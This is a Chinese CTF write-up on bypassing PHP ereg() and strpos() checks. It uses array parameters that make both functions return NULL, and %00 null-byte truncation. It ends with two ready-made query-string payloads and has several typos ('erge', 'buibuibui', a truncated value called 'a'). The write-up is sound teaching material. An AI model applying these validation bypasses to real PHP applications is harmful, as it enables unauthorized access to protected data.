PHP – strpos() 数组绕过

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
$flag = "flag";

if (isset ($_GET['ctf'])) {

if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE){
echo '必须输入数字才行';
}

else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE){
die('Flag: '.$flag);
}

else{
echo '骚年,继续努力吧啊~';
}

}
?>

代码分析

  • 判断 GET 获取的 password
  • 第一步判断 password 是否只为 1-9
  • 第二步判断 password 是否存在 #biubiubiu
  • 要满足这两个条件,才能返回flag

函数用法

ereg()函数

ereg() 函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。大小写敏感。

用法示例代码

1
2
3
4
<?php
var_dump(ereg("^[1-9]+$", "1"));
var_dump(ereg("^[1-9]+$", "1#biubiubiu"));
?>

用法示例结果

int(1) bool(false)

该函数期望传入的类型是字符串类型的数据,如果传入非字符串类型的数据时,这个函数将发生错误

数组返回NULL绕过

漏洞代码
1
2
3
4
<?php
$test = array("t" => "est");
var_dump(ereg("^[1-9]+$", $test))
?>
漏洞返回
NULL

该函数还有一个漏洞,当用户输入的url参数包含 %00 经过自动转码后截断后面字符。

%00截断绕过

漏洞代码
1
2
3
<?php
var_dump(ereg("^[1-9]+$", $_GET['ctf']));
?>
漏洞返回
$_GET['ctf'] 值为 1- 时,返回 bool(false)
$_GET['ctf'] 值为 1%00#buibuibui 时,返回 int(1)

ereg()函数仅支持5.3之前版本的php,5.3后不再支持eregi()函数,而使用preg_match()函数替代。

strpos()函数

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

数组返回NULL绕过

漏洞代码
1
2
3
4
<?php
$test = array("t" => "est");
var_dump(strpos ($test, '--'));
?>
漏洞返回
NULL

绕过分析

一、数字返回NULL绕过

  • $_GET['ctf'] 给数组参数
  • erge()strpos() 接受数组,都返回 NULL
  • 第一层判断 NULL === FALSE 返回 bool(false),继续运行
  • 第二层判断 NULL !== FALSE 返回 bool(true),得到flag

二、%00截断拼接字符串

  • $_GET['ctf'] 给出 1-9 任意字符拼接 %00#biubiubiu,如(1%00–)
  • 第一层由于 %00 截断,erge() 判断的字符串为 a,条件符合,集训运行
  • 第二层判断 a%00#biubiubiu ,存在 #biubiubiu,条件符合,得到flag

Payload

index.php?ctf[]=
或
index.php?ctf=1%00%23biubiubiu